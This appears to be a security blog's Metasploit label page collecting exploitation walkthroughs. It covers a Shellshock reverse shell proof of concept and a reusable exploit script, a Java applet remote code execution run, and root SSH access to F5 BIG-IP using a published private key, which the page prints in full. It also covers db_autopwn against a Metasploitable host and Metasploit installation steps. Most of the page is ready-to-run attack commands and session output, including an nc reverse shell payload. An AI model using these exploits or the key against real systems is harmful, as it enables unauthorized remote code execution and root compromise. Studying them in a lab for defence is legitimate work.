hacktracking: metasploit

Showing posts with label metasploit. Show all posts

# CVE-2014-6271: Bash shellshock

Reverse shell PoC

- Vulnerable server

# a2enmod cgi
# sed -i 's/#Include conf-available\/serve-cgi-bin.conf/Include conf-available\/serve-cgi-bin.conf/' /etc/apache2/sites-available/000-default.conf
# service apache2 restart
# cat /usr/lib/cgi-bin/env.sh
#!/bin/bash

echo 'Content-type: text/html'
echo ''

echo '<html>'
echo '<head>'
echo '<title>cve-2014-6271</title>'
echo '</head>'
echo '<body>'
echo '<pre>'

/usr/bin/env

echo '</pre>'
echo '</body>'
echo '</hmtl>'

- Client

# ip="192.168.1.1"
# nc -v --listen $ip --port=1234

# ip="192.168.1.1"
# payload="() { :; }; /bin/bash -c 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $ip 1234 > /tmp/f'"
# url="http://192.168.1.2/cgi-bin/env.sh"
# curl --verbose --user-agent "$payload" --referer "$payload" $url

nc: connect to 192.168.1.1 1234 from 192.168.1.2
$

Scripts

# cat cve-2014-6271-cmd
#!/bin/bash

#https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

proto="$1"
host="$2"
port="$3"
path="$4"
cmd="$5"

if [ "$proto" == "https" ]; then
        insecure='--insecure'
else
        insecure=''
fi

url="$proto://$host:$port/$path"

payload="() { :; }; echo -e '\\r\\n'; $cmd 2>&1"

curl $insecure --verbose --user-agent "$payload" --referer "$payload" $url

# ./cve-2014-6271-cmd http 127.0.0.1 1580 cgi-bin/env.sh '/bin/uname -a'

Metasploit modules

msf > use auxiliary/scanner/http/apache_mod_cgi_bash_env
msf > use exploits/multi/http/apache_mod_cgi_bash_env_exec

# Exploiting Java 0day

Introduction

http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-4681

Metasploit

# msfconsole

msf > use exploit/multi/browser/java_jre17_exec
msf  exploit(java_jre17_exec) > set payload java/shell/reverse_tcp
msf  exploit(java_jre17_exec) > set srvhost 192.168.0.2
msf  exploit(java_jre17_exec) > set lhost 192.168.0.2
msf  exploit(java_jre17_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.2:4444 
msf  exploit(java_jre17_exec) > [*] Using URL: http://192.168.0.2:8080/UxFhxobmVYzm
[*] Server started.
[*] 192.168.0.1      java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 192.168.0.1      java_jre17_exec - Sending Applet.jar
[*] 192.168.0.1      java_jre17_exec - Sending Applet.jar
[*] 192.168.0.1      java_jre17_exec - Sending Applet.jar
[*] Sending stage (2976 bytes) to 192.168.0.1
[*] Command shell session 1 opened (192.168.0.2:4444 -> 192.168.0.1:1139)

msf  exploit(java_jre17_exec) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\User\Desktop>

# Exploiting F5 BIG-IP SSH vulnerability

Introduction

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1493
http://support.f5.com/kb/en-us/solutions/public/13000/600/sol13600.html

Option 1: Command-line

# cat f5_private_key 
-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----
# chmod 0600 f5_private_key
# ssh -i f5_private_key root@192.168.1.1
[root@F5-BIG-IP:Active] config # bigpipe platform | grep Platform
|     BIOS revision: F5 Platform: C103 OBJ-0335-01 BIOS (build: 130) Date: 09/12/09
[root@F5-BIG-IP:Active] config # bigpipe version | grep Version
BIG-IP Version 10.2.2 969.0
[root@F5-BIG-IP:Active] config # whoami
root

Option 2: PuTTY

- Use PuTTYGen to obtain a private ppk file from f5_private_key
- Execute PuTTY
- Connection/SSH/Auth/Private key file for authentication/Browse...: C:\f5_private_key.ppk
- Session/Host Name (or IP address) and Port: 192.168.1.1:22
- Open

login as: root
Authenticating with public key "imported-openssh-key"
[root@F5-BIG-IP:Active] config # whoami
root

Option 3: Metasploit

# msfconsole

msf > use exploit/linux/ssh/f5_bigip_known_privkey
msf  exploit(f5_bigip_known_privkey) > show payloads
msf  exploit(f5_bigip_known_privkey) > set payload cmd/unix/interact
msf  exploit(f5_bigip_known_privkey) > set lhost 192.168.1.2
msf  exploit(f5_bigip_known_privkey) > set rhost 192.168.1.1
msf  exploit(f5_bigip_known_privkey) > exploit

[+] Successful login
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.2:42298 -> 192.168.1.1:22)

whoami
root

# Autopwn

Introducción

Autopwn

Ejecución

# svn update /opt/metasploit3/msf3/
# msfconsole
msf > db_nmap -PN -sS -sV 192.168.1.50

Interesting ports on 192.168.1.50:
Not shown: 988 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB
8009/tcp open  ajp13?
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:F7:38:97 (Cadmus Computer Systems)
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux

msf > db_autopwn -h
[*] Usage: db_autopwn [options]
        -h          Display this help text
        -t          Show all matching exploit modules
        -x          Select modules based on vulnerability references
        -p          Select modules based on open ports
        -e          Launch exploits against all matched targets
        -r          Use a reverse connect shell
        -b          Use a bind shell on a random port (default)
        -q          Disable exploit module output
        -R  [rank]  Only run modules with a minimal rank
        -I  [range] Only exploit hosts inside this range
        -X  [range] Always exclude hosts inside this range
        -PI [range] Only exploit hosts with these ports open
        -PX [range] Always exclude hosts with these ports open
        -m  [regex] Only run modules whose name matches the regex
        -T  [secs]  Maximum runtime for any exploit in seconds
msf > db_autopwn -t -p -e
Active sessions
===============

  Id  Type       Connection                                Via
  --  ----       ----------                                ---
  1   shell php  192.168.1.100:40803 -> 192.168.1.50:5452  exploit/unix/webapp/tikiwiki_graph_formula_exec


msf > session -i 1
msf > db_autopwn -t -x -e
Active sessions
===============

  Id  Type       Connection                                 Via
  --  ----       ----------                                 ---
  2   shell php  192.168.1.100:39008 -> 192.168.1.50:12186  exploit/unix/webapp/tikiwiki_graph_formula_exec

msf > session -i 2

# Instalar metasploit

Introducción

Instalación en Ubuntu

Instalación de metasploit

# cat /etc/lsb-release | grep DESC
DISTRIB_DESCRIPTION="Ubuntu 10.04.1 LTS"
# cd
# apt-get install ruby libopenssl-ruby libyaml-ruby \
libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems
# apt-get install subversion
# apt-get install build-essential ruby-dev libpcap-dev
# mkdir metasploit
# cd metasploit
# wget http://updates.metasploit.com/data/releases/framework-3.5.1.tar.bz2
# tar xvjf framework-3.5.1.tar.bz2
# mkdir -p /opt/metasploit3
# cp -a msf3/ /opt/metasploit3/msf3
# ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/
# svn update /opt/metasploit3/msf3/
# cd ..
# rm -rf metasploit

Instalación de postgres

# apt-get install postgresql-8.4
# apt-get install rubygems libpq-dev
# gem install pg
# apt-get install libreadline-dev
# apt-get install libssl-dev
# apt-get install libpq5
# apt-get install ruby-dev

Configuración de postgres

# su postgres
$ createuser msf_user -P
Enter password for new role: 
Enter it again: 
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
$ createdb --owner=msf_user msf_database

Configuración de Metasploit

# cat > ~/.msf3/msfconsole.rc << eof
> db_driver postgresql
> db_connect msf_user:password@127.0.0.1:5432/msf_database
> db_workspace -a MiProyecto
> eof

Habilitar el módulo rack sockets

# cd /opt/metasploit3/msf3/external/pcaprub/
# ruby extconf.rb
# make && make install

Habilitar el módulo wifi

# cd  /opt/metasploit3/msf3/external/ruby-lorcon2/
# svn co http://802.11ninja.net/svn/lorcon/trunk lorcon2
# cd lorcon2
# ./configure --prefix=/usr && make && make install
# cd ..
# ruby extconf.rb
# make && make install